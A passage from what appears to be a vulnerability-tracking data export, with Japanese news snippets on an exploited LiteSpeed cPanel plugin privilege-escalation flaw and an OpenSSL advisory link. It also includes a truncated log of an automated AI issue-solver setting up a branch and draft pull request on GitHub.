"seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0284", "content": "", "creation_timestamp": "2026-08-11T20:20:02.131971Z"}, {"uuid": "d42ee640-818c-4fc1-8ebd-c75c4806737e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "published-proof-of-concept", "source": "Telegram/K7zXqOYFd1qXyT9LARXPzqWKeQzalprou3AuwisAGlu--nM", "content": "", "creation_timestamp": "2026-08-16T00:00:48.227432Z"}, {"uuid": "c9b214cb-a20d-43b6-8fbb-8c8b5dbd2fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqft5zacqs2i", "content": "\u300cLiteSpeed cPanel Plugin\u300d\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027 - \u3059\u3067\u306b\u60aa\u7528\u3082\n\n\u300cLiteSpeed Web Server\u300d\u5229\u7528\u8005\u5411\u3051\u306e\u30d7\u30e9\u30b0\u30a4\u30f3\u300cLiteSpeed cPanel Plugin\u300d\u306b\u3042\u3089\u305f\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u30025\u6708\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u3068\u306f\u7570\u306a\u308b\u8106\u5f31\u6027\u3067\u3001\u60aa\u7528\u3082\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af\u306e\u51e6\u7406\u306b\u8d77\u56e0\u3057\u3001root\u6a29\u9650\u3078\u306e\u6607\u683c\u304c\u53ef\u80fd\u3068\u306a\u308b\u8106\u5f31\u6027\u300cCVE-2026-54420\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002FTP\u3084\u30a6\u30a7\u30d6\u30b7\u30a7\u30eb\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u6301\u3064\u5834\u5408\u306b\u60aa\u7528\u304c\u53ef\u80fd\u3067\u3001\u300cCloudLinux\u300d\u3068\u300cCageFS\u300d\u3092\u5229\u7528\u3059\u308b\u5171\u6709\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u30b5\u30fc\u30d0\u3067\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3044\u3046\u3002", "creation_timestamp": "2026-07-11T23:33:14.712067Z"}, {"uuid": "ee7fd9d6-82c9-46fa-9157-74f2d79f9411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqftyyvhgc2i", "content": "\u8106\u5f31\u6027\u306e\u60aa\u7528\u30ab\u30bf\u30ed\u30b0\u306b2\u4ef6\u3092\u3042\u3089\u305f\u306b\u8ffd\u52a0 - \u7c73\u5f53\u5c40\n\n\u7c73\u5f53\u5c40\u306f\u3001\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u74b0\u5883\u5411\u3051\u30d7\u30e9\u30b0\u30a4\u30f3\u3084Cisco\u306eSD-WAN\u7ba1\u7406\u88fd\u54c1\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670815\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u30782\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-54420\u300d\u300cCVE-2026-20262\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cCVE-2026-54420\u300d\u306f\u3001\u300cLiteSpeed Web Server\u300d\u306e\u5229\u7528\u8005\u5411\u3051\u306b\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u300cLiteSpeed cPanel Plugin\u300d\u306b\u660e\u3089\u304b...", "creation_timestamp": "2026-07-11T23:48:21.207330Z"}, {"uuid": "3a58a093-6ffe-4917-866f-bd240735e595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqfwicayb22i", "content": "CISA\u306f\u3001\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u305f\u5225\u306ecPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u8b66\u544a\u3092\u767a\u3057\u305f\u3002\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001LiteSpeed cPanel\u306e\u30e6\u30fc\u30b6\u30fc\u30a8\u30f3\u30c9\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5b58\u5728\u3059\u308b\u3001\u73fe\u5728\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\uff08CVE-2026-54420\uff09\u304b\u3089\u30b5\u30fc\u30d0\u30fc\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u3001\u7c73\u56fd\u653f\u5e9c\u6a5f\u95a2\u306b3\u65e5\u9593\u306e\u7336\u4e88\u3092\u4e0e\u3048\u305f\u3002\n\nCVE-2026-48172\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306f\u3001Namecheap\u306b\u3088\u3063\u3066\u5831\u544a\u3055\u308c\u3001FTP\u307e\u305f\u306fWeb\u30b7\u30a7\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u6301\u3064\u653b\u6483\u8005\u304c\u3001CloudLinux/CageFS\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u5171\u6709\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067r...", "creation_timestamp": "2026-07-12T00:32:44.918768Z"}, {"uuid": "e72c33f4-bd11-4dd8-bf61-f6a3effda581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3msib76pzvx2e", "content": "\uff1e JVN: OpenSSL\u306eOCSP\u30ec\u30b9\u30dd\u30f3\u30b9\u691c\u8a3c\u306b\u304a\u3051\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u306e\u30e1\u30e2\u30ea\u30ea\u30fc\u30af\u306e\u8106\u5f31\u6027\uff08CVE-2026-54876\uff09\nhttps://jvn.jp/vu/JVNVU92139835/\n", "creation_timestamp": "2026-08-07T09:40:09.652165Z"}, {"uuid": "ed22b12d-a6c0-4cd1-ac5a-53c1fc728605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54512", "type": "seen", "source": "https://gist.github.com/konard/c502a0c4b546be33927f66cbcd478218", "content": "# Solve.mjs Log - 2026-07-12T04:01:22.891Z\n\n[2026-07-12T04:01:22.896Z] [INFO] \ud83d\udcc1 Log file: /home/box/solve-2026-07-12T04-01-22-890Z.log\n[2026-07-12T04:01:22.900Z] [INFO]    (All output will be logged here)\n[2026-07-12T04:01:28.161Z] [INFO] \n[2026-07-12T04:01:28.165Z] [INFO] \ud83d\ude80 solve v2.4.1\n[2026-07-12T04:01:28.169Z] [INFO] \ud83d\udd27 Raw command executed:\n[2026-07-12T04:01:28.176Z] [INFO]    /home/box/.nvm/versions/node/v20.20.2/bin/node /home/box/.bun/bin/solve https://github.com/link-foundation/meta-ontology/issues/5 --think medium --tool codex --attach-logs --verbose --no-tool-check --disable-report-issue --language en\n[2026-07-12T04:01:28.178Z] [INFO] \n[2026-07-12T04:01:28.657Z] [INFO] \ud83e\udded Execution context: docker container (indicators: /.dockerenv) \u2014 per-task disk usage is scoped to this container.\n[2026-07-12T04:01:28.662Z] [INFO] \ud83d\udcc8 Resource usage (solve start):\n[2026-07-12T04:01:28.662Z] [INFO]    CPU load: 2.91 3.47 3.53 (6 CPUs)\n[2026-07-12T04:01:28.662Z] [INFO]    Memory: 9.8 GB available / 11.7 GB total (1.9 GB used)\n[2026-07-12T04:01:28.662Z] [INFO]    Process RSS: 88 MB, heap 19 MB\n[2026-07-12T04:01:28.662Z] [INFO]    Disk (/): 145.8 GB available / 192.7 GB total (24.3% used)\n[2026-07-12T04:01:28.662Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=solve_start ts=2026-07-12T04%3A01%3A28.660Z load1=2.91 load5=3.47 load15=3.53 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10550054912 memUsedBytes=1991434240 processRssBytes=92028928 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=156592533504 diskUsedBytes=50290970624 diskUsedPercent=24.306864300674576 mem=9.8%20GB%20available%20%2F%2011.7%20GB%20total disk=145.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:01:29.938Z] [INFO] \n[2026-07-12T04:01:29.939Z] [WARNING] \u26a0\ufe0f  SECURITY WARNING: --attach-logs is ENABLED\n[2026-07-12T04:01:29.941Z] [INFO] \n[2026-07-12T04:01:29.942Z] [INFO]    This option will upload the complete solution draft log file to the Pull Request.\n[2026-07-12T04:01:29.943Z] [INFO]    The log may contain sensitive information such as:\n[2026-07-12T04:01:29.944Z] [INFO]    \u2022 API keys, tokens, or secrets\n[2026-07-12T04:01:29.947Z] [INFO]    \u2022 File paths and directory structures\n[2026-07-12T04:01:29.949Z] [INFO]    \u2022 Command outputs and error messages\n[2026-07-12T04:01:29.950Z] [INFO]    \u2022 Internal system information\n[2026-07-12T04:01:29.952Z] [INFO] \n[2026-07-12T04:01:29.955Z] [INFO]    \u26a0\ufe0f  DO NOT use this option with public repositories or if the log\n[2026-07-12T04:01:29.958Z] [INFO]        might contain sensitive data that should not be shared publicly.\n[2026-07-12T04:01:29.960Z] [INFO] \n[2026-07-12T04:01:29.962Z] [INFO]    Continuing in 5 seconds... (Press Ctrl+C to abort)\n[2026-07-12T04:01:29.964Z] [INFO] \n[2026-07-12T04:01:29.967Z] [STDOUT] \n   Countdown: 5 seconds remaining...\n[2026-07-12T04:01:30.969Z] [STDOUT] \n   Countdown: 4 seconds remaining...\n[2026-07-12T04:01:31.972Z] [STDOUT] \n   Countdown: 3 seconds remaining...\n[2026-07-12T04:01:32.974Z] [STDOUT] \n   Countdown: 2 seconds remaining...\n[2026-07-12T04:01:33.976Z] [STDOUT] \n   Countdown: 1 seconds remaining...\n[2026-07-12T04:01:34.977Z] [STDOUT] \n   Proceeding with log attachment enabled.                    \n[2026-07-12T04:01:34.978Z] [INFO] \n[2026-07-12T04:01:35.373Z] [INFO] \ud83d\udcbe Disk space check: 149325MB available (10240MB required) \u2705\n[2026-07-12T04:01:35.386Z] [INFO] \ud83e\udde0 Memory check: 10415MB available, swap: 4095MB (202MB used), total: 14308MB (256MB required) \u2705\n[2026-07-12T04:01:35.475Z] [INFO] \u23e9 Skipping tool connection validation (dry-run mode or skip-tool-connection-check enabled)\n[2026-07-12T04:01:35.477Z] [INFO] \u23e9 Skipping GitHub authentication check (dry-run mode or skip-tool-connection-check enabled)\n[2026-07-12T04:01:35.480Z] [INFO] \ud83c\udfad Checking Playwright MCP preflight for Codex...\n[2026-07-12T04:01:35.749Z] [STDOUT] Name        Command  Args                                                                                                            Env  Cwd  Status   Auth       \nplaywright  npx      -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080  -    -    enabled  Unsupported\n[2026-07-12T04:01:35.780Z] [INFO] \ud83c\udfad Playwright MCP probe: 'mcp list' exit=0, playwright rows=1 [playwright  npx      -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080  -    -    enabled  Unsupported]\n[2026-07-12T04:01:35.782Z] [INFO] \ud83c\udfad Playwright MCP reported as connected by mcp list\n[2026-07-12T04:01:35.783Z] [INFO] \ud83c\udfad Playwright MCP ready for Codex\n[2026-07-12T04:01:35.785Z] [INFO] \ud83d\udccb URL validation:\n[2026-07-12T04:01:35.786Z] [INFO]    Input URL: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:35.787Z] [INFO]    Is Issue URL: true\n[2026-07-12T04:01:35.789Z] [INFO]    Is PR URL: false\n[2026-07-12T04:01:35.791Z] [INFO] \ud83d\udd0d --auto-accept-invite: Checking for pending invitation to link-foundation/meta-ontology...\n[2026-07-12T04:01:36.508Z] [INFO]    Found 11 total pending repo invitation(s)\n[2026-07-12T04:01:36.510Z] [INFO]    No pending repository invitation found for link-foundation/meta-ontology\n[2026-07-12T04:01:37.042Z] [INFO]    Found 0 total pending org invitation(s)\n[2026-07-12T04:01:37.044Z] [INFO]    No pending organization invitation found for link-foundation\n[2026-07-12T04:01:37.046Z] [INFO] \u2139\ufe0f  --auto-accept-invite: No pending invitation found for link-foundation/meta-ontology or organization link-foundation\n[2026-07-12T04:01:37.051Z] [INFO] \ud83d\udd0d Checking repository access for auto-fork...\n[2026-07-12T04:01:37.631Z] [STDOUT] {\"admin\":true,\"maintain\":true,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-07-12T04:01:38.149Z] [STDOUT] public\n[2026-07-12T04:01:38.171Z] [INFO]    Repository visibility: public\n[2026-07-12T04:01:38.178Z] [INFO] \u2705 Auto-fork: Write access detected to public repository, working directly on repository\n[2026-07-12T04:01:38.184Z] [INFO] \ud83d\udd0d Checking repository write permissions...\n[2026-07-12T04:01:38.762Z] [STDOUT] {\"admin\":true,\"maintain\":true,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-07-12T04:01:38.778Z] [INFO] \u2705 Repository write access: Confirmed\n[2026-07-12T04:01:39.305Z] [STDOUT] link-foundation\n[2026-07-12T04:01:40.567Z] [STDOUT] link-foundation/meta-ontology\n[2026-07-12T04:01:41.046Z] [STDOUT] {\"number\":5,\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\"}\n[2026-07-12T04:01:42.084Z] [STDOUT] public\n[2026-07-12T04:01:42.104Z] [INFO]    Repository visibility: public\n[2026-07-12T04:01:42.105Z] [INFO]    Auto-cleanup default: false (repository is public)\n[2026-07-12T04:01:42.111Z] [INFO] \ud83d\udd0d Auto-continue enabled: Checking for existing PRs for issue #5...\n[2026-07-12T04:01:42.113Z] [INFO] \ud83d\udd0d Checking for existing branches in link-foundation/meta-ontology...\n[2026-07-12T04:01:42.598Z] [STDOUT] gh-pages\nissue-1-37a4eab13fe1\nissue-3-296ff7e963a4\nmain\n[2026-07-12T04:01:43.681Z] [STDOUT] []\n[2026-07-12T04:01:44.336Z] [STDOUT] []\n[2026-07-12T04:01:44.362Z] [INFO] \ud83d\udcdd No existing PRs found for issue #5 - creating new PR\n[2026-07-12T04:01:44.383Z] [INFO] \ud83d\udcdd Issue mode: Working with issue #5\n[2026-07-12T04:01:44.397Z] [INFO] \n[2026-07-12T04:01:44.397Z] [INFO] Creating temporary directory: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:01:44.408Z] [INFO] \n[2026-07-12T04:01:44.408Z] [INFO] \ud83d\udce5 Cloning repository:       link-foundation/meta-ontology\n[2026-07-12T04:01:45.037Z] [STDOUT] Cloning into '/tmp/gh-issue-solver-1783828904396'...\n[2026-07-12T04:01:46.142Z] [STDOUT] true\n[2026-07-12T04:01:46.144Z] [INFO] \u2705 Cloned to:                /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:01:46.172Z] [STDOUT] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\norigin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:01:46.291Z] [STDOUT] failed to set up git credential helper: failed to run git: error: could not write config file /home/box/.gitconfig: Device or resource busy\n\n[2026-07-12T04:01:46.302Z] [INFO] Note: gh auth setup-git had issues, continuing anyway\n[2026-07-12T04:01:46.302Z] [INFO] \n[2026-07-12T04:01:46.315Z] [INFO] \n[2026-07-12T04:01:46.315Z] [INFO] \ud83d\udcca [DISK] phase=after_clone bytes=3411951 path=/tmp/gh-issue-solver-1783828904396 size=3 MB\n[2026-07-12T04:01:46.318Z] [INFO] \ud83d\udcc8 Resource usage (after repository clone):\n[2026-07-12T04:01:46.318Z] [INFO]    CPU load: 2.41 3.33 3.48 (6 CPUs)\n[2026-07-12T04:01:46.318Z] [INFO]    Memory: 9.9 GB available / 11.7 GB total (1.8 GB used)\n[2026-07-12T04:01:46.318Z] [INFO]    Process RSS: 88 MB, heap 21 MB\n[2026-07-12T04:01:46.318Z] [INFO]    Disk (/): 145.8 GB available / 192.7 GB total (24.3% used)\n[2026-07-12T04:01:46.318Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_clone ts=2026-07-12T04%3A01%3A46.316Z load1=2.41 load5=3.33 load15=3.48 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10625040384 memUsedBytes=1916448768 processRssBytes=91979776 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=156578422784 diskUsedBytes=50305081344 diskUsedPercent=24.31368435906616 mem=9.9%20GB%20available%20%2F%2011.7%20GB%20total disk=145.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:01:46.377Z] [STDOUT] main\n[2026-07-12T04:01:46.404Z] [STDOUT] 04e**********************************70b\n[2026-07-12T04:01:46.412Z] [INFO] \n[2026-07-12T04:01:46.412Z] [INFO] \ud83d\udccc Default branch:           main\n[2026-07-12T04:01:46.454Z] [INFO] \n[2026-07-12T04:01:46.454Z] [INFO] \ud83c\udf3f Creating branch:          issue-5-e2602184e2c5 from main (default)\n[2026-07-12T04:01:46.488Z] [STDERR] Switched to a new branch 'issue-5-e2602184e2c5'\n[2026-07-12T04:01:46.489Z] [STDOUT] branch 'issue-5-e2602184e2c5' set up to track 'origin/main'.\n[2026-07-12T04:01:46.491Z] [INFO] \ud83d\udd0d Verifying:                Branch creation...\n[2026-07-12T04:01:46.510Z] [STDOUT] issue-5-e2602184e2c5\n[2026-07-12T04:01:46.511Z] [INFO] \u2705 Branch created:           issue-5-e2602184e2c5\n[2026-07-12T04:01:46.512Z] [INFO] \u2705 Current branch:           issue-5-e2602184e2c5\n[2026-07-12T04:01:46.513Z] [INFO]    Branch operation: Create new branch\n[2026-07-12T04:01:46.515Z] [INFO]    Branch verification: Matches expected\n[2026-07-12T04:01:46.521Z] [INFO] \n[2026-07-12T04:01:46.521Z] [INFO] \ud83d\ude80 Auto PR creation:         ENABLED\n[2026-07-12T04:01:46.522Z] [INFO]      Creating:               Initial commit and draft PR...\n[2026-07-12T04:01:46.523Z] [INFO] \n[2026-07-12T04:01:46.525Z] [INFO]    Using .gitkeep mode (--claude-file=false, --gitkeep-file=true, --auto-gitkeep-file=true)\n[2026-07-12T04:01:46.527Z] [INFO] \ud83d\udcdd Creating:                 .gitkeep (default)\n[2026-07-12T04:01:46.530Z] [INFO]    Issue URL from argv['issue-url']: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.532Z] [INFO]    Issue URL from argv._[0]: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.534Z] [INFO]    Final issue URL: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.539Z] [INFO] \u2705 File created:             .gitkeep\n[2026-07-12T04:01:46.540Z] [INFO] \ud83d\udce6 Adding file:              To git staging\n[2026-07-12T04:01:46.619Z] [STDOUT] A  .gitkeep\n[2026-07-12T04:01:46.620Z] [INFO]    Git status after add: A  .gitkeep\n[2026-07-12T04:01:46.622Z] [INFO] \ud83d\udcdd Creating commit:          With .gitkeep file\n[2026-07-12T04:01:46.668Z] [STDOUT] [issue-5-e2602184e2c5 e4aaa28] Initial commit with task details\n 1 file changed, 1 insertion(+)\n create mode 100644 .gitkeep\n[2026-07-12T04:01:46.673Z] [INFO] \u2705 Commit created:           Successfully with .gitkeep\n[2026-07-12T04:01:46.674Z] [INFO]    Commit output: [issue-5-e2602184e2c5 e4aaa28] Initial commit with task details\n[2026-07-12T04:01:46.674Z] [INFO]  1 file changed, 1 insertion(+)\n[2026-07-12T04:01:46.674Z] [INFO]  create mode 100644 .gitkeep\n[2026-07-12T04:01:46.714Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:01:46.716Z] [INFO]    Commit hash: e4aaa28...\n[2026-07-12T04:01:46.746Z] [STDOUT] e4aaa28 Initial commit with task details\n[2026-07-12T04:01:46.754Z] [INFO]    Latest commit: e4aaa28 Initial commit with task details\n[2026-07-12T04:01:46.783Z] [INFO]    Git status: clean\n[2026-07-12T04:01:46.802Z] [STDOUT] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\norigin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:01:46.804Z] [INFO]    Remotes: origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\n[2026-07-12T04:01:46.821Z] [STDOUT] * issue-5-e2602184e2c5 e4aaa28 [origin/main: ahead 1] Initial commit with task details\n  main                 04e732e [origin/main] chore: release v0.8.0\n[2026-07-12T04:01:46.827Z] [INFO]    Branch info: * issue-5-e2602184e2c5 e4aaa28 [origin/main: ahead 1] Initial commit with task details\n[2026-07-12T04:01:46.827Z] [INFO]   main                 04e732e [origin/main] chore: release v0.8.0\n[2026-07-12T04:01:46.829Z] [INFO] \ud83d\udce4 Pushing branch:           To remote repository...\n[2026-07-12T04:01:46.835Z] [INFO]    Push command: git push -u origin issue-5-e2602184e2c5\n[2026-07-12T04:01:48.507Z] [STDOUT] remote: \nremote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \nremote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \nremote: \n[2026-07-12T04:01:48.511Z] [STDOUT] To https://github.com/link-foundation/meta-ontology.git\n * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.526Z] [STDOUT] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.528Z] [INFO]    Push exit code: 0\n[2026-07-12T04:01:48.533Z] [INFO]    Push output: remote: \n[2026-07-12T04:01:48.533Z] [INFO] remote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \n[2026-07-12T04:01:48.533Z] [INFO] remote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \n[2026-07-12T04:01:48.533Z] [INFO] remote: \n[2026-07-12T04:01:48.533Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:01:48.533Z] [INFO]  * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.533Z] [INFO] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.536Z] [INFO] \u2705 Branch pushed:            Successfully to remote\n[2026-07-12T04:01:48.542Z] [INFO]    Push output: remote: \n[2026-07-12T04:01:48.542Z] [INFO] remote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \n[2026-07-12T04:01:48.542Z] [INFO] remote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \n[2026-07-12T04:01:48.542Z] [INFO] remote: \n[2026-07-12T04:01:48.542Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:01:48.542Z] [INFO]  * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.542Z] [INFO] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.546Z] [INFO]    Waiting for GitHub to sync...\n[2026-07-12T04:01:51.189Z] [STDOUT] 1\n[2026-07-12T04:01:51.219Z] [INFO]    Compare API check: 1 commit(s) ahead of main\n[2026-07-12T04:01:51.220Z] [INFO]    GitHub compare API ready: 1 commit(s) found\n[2026-07-12T04:01:51.767Z] [STDOUT] issue-5-e2602184e2c5\n[2026-07-12T04:01:51.777Z] [INFO]    Branch verified on GitHub: issue-5-e2602184e2c5\n[2026-07-12T04:01:52.325Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:01:52.333Z] [INFO]    Remote commit SHA: e4aaa28...\n[2026-07-12T04:01:52.334Z] [INFO] \ud83d\udccb Getting issue:            Title from GitHub...\n[2026-07-12T04:01:52.967Z] [STDOUT] We should use best practices from https://github.com/open-metadata/OpenMetadata\n[2026-07-12T04:01:53.004Z] [INFO]    Issue title: \"We should use best practices from https://github.com/open-metadata/OpenMetadata\"\n[2026-07-12T04:01:53.019Z] [INFO] \ud83d\udc64 Getting user:             Current GitHub account...\n[2026-07-12T04:01:53.894Z] [STDOUT] konard\n[2026-07-12T04:01:53.975Z] [INFO]    Current user: konard\n[2026-07-12T04:01:54.759Z] [INFO]    User has collaborator access\n[2026-07-12T04:01:54.761Z] [INFO]    User has collaborator access\n[2026-07-12T04:01:54.765Z] [INFO] \ud83d\udd04 Fetching:                 Latest main branch...\n[2026-07-12T04:01:55.296Z] [INFO] \u2705 Base updated:             Fetched latest main\n[2026-07-12T04:01:55.297Z] [INFO] \ud83d\udd0d Checking:                 Commits between branches...\n[2026-07-12T04:01:55.337Z] [STDOUT] 1\n[2026-07-12T04:01:55.338Z] [INFO]    Commits ahead of origin/main: 1\n[2026-07-12T04:01:55.339Z] [INFO] \u2705 Commits found:            1 commit(s) ahead\n[2026-07-12T04:01:55.342Z] [INFO] \ud83d\udd00 Creating PR:              Draft pull request...\n[2026-07-12T04:01:55.343Z] [INFO] \ud83c\udfaf Target branch:            main (default)\n[2026-07-12T04:01:55.343Z] [INFO]    PR Title: [WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\n[2026-07-12T04:01:55.344Z] [INFO]    Base branch: main\n[2026-07-12T04:01:55.346Z] [INFO]    Head branch: issue-5-e2602184e2c5\n[2026-07-12T04:01:55.347Z] [INFO]    Assignee: konard\n[2026-07-12T04:01:55.347Z] [INFO]    PR Body:\n[2026-07-12T04:01:55.347Z] [INFO] ## \ud83e\udd16 AI-Powered Solution Draft\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] This pull request is being automatically generated to solve issue #5.\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udccb Issue Reference\n[2026-07-12T04:01:55.347Z] [INFO] Fixes #5\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udea7 Status\n[2026-07-12T04:01:55.347Z] [INFO] **Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udcdd Implementation Details\n[2026-07-12T04:01:55.347Z] [INFO] _Details will be added as the solution draft is developed..._\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ---\n[2026-07-12T04:01:55.347Z] [INFO] *This PR was created automatically by the AI issue solver*\n[2026-07-12T04:01:55.350Z] [INFO]    Command: cd \"/tmp/gh-issue-solver-1783828904396\" && gh pr create --draft --title \"$(cat '/tmp/pr-title-1783828915349.txt')\" --body-file \"/tmp/pr-body-1783828915348.md\" --base main --head issue-5-e2602184e2c5 --repo link-foundation/meta-ontology --assignee konard\n[2026-07-12T04:01:58.333Z] [INFO]    gh pr create stdout: https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:01:58.336Z] [INFO] \ud83d\udd0d Verifying:                PR creation...\n[2026-07-12T04:02:00.882Z] [STDOUT] {\"number\":6,\"state\":\"OPEN\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:02:00.893Z] [INFO] \u2705 Verification:             PR exists on GitHub (attempt 1/5)\n[2026-07-12T04:02:00.895Z] [INFO] \u2705 PR created:               #6\n[2026-07-12T04:02:00.896Z] [INFO] \ud83d\udccd PR URL:                   https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:02:00.897Z] [INFO] \ud83d\udc64 Assigned to:              konard\n[2026-07-12T04:02:00.898Z] [INFO] \ud83d\udd17 Linking:                  Issue #5 to PR 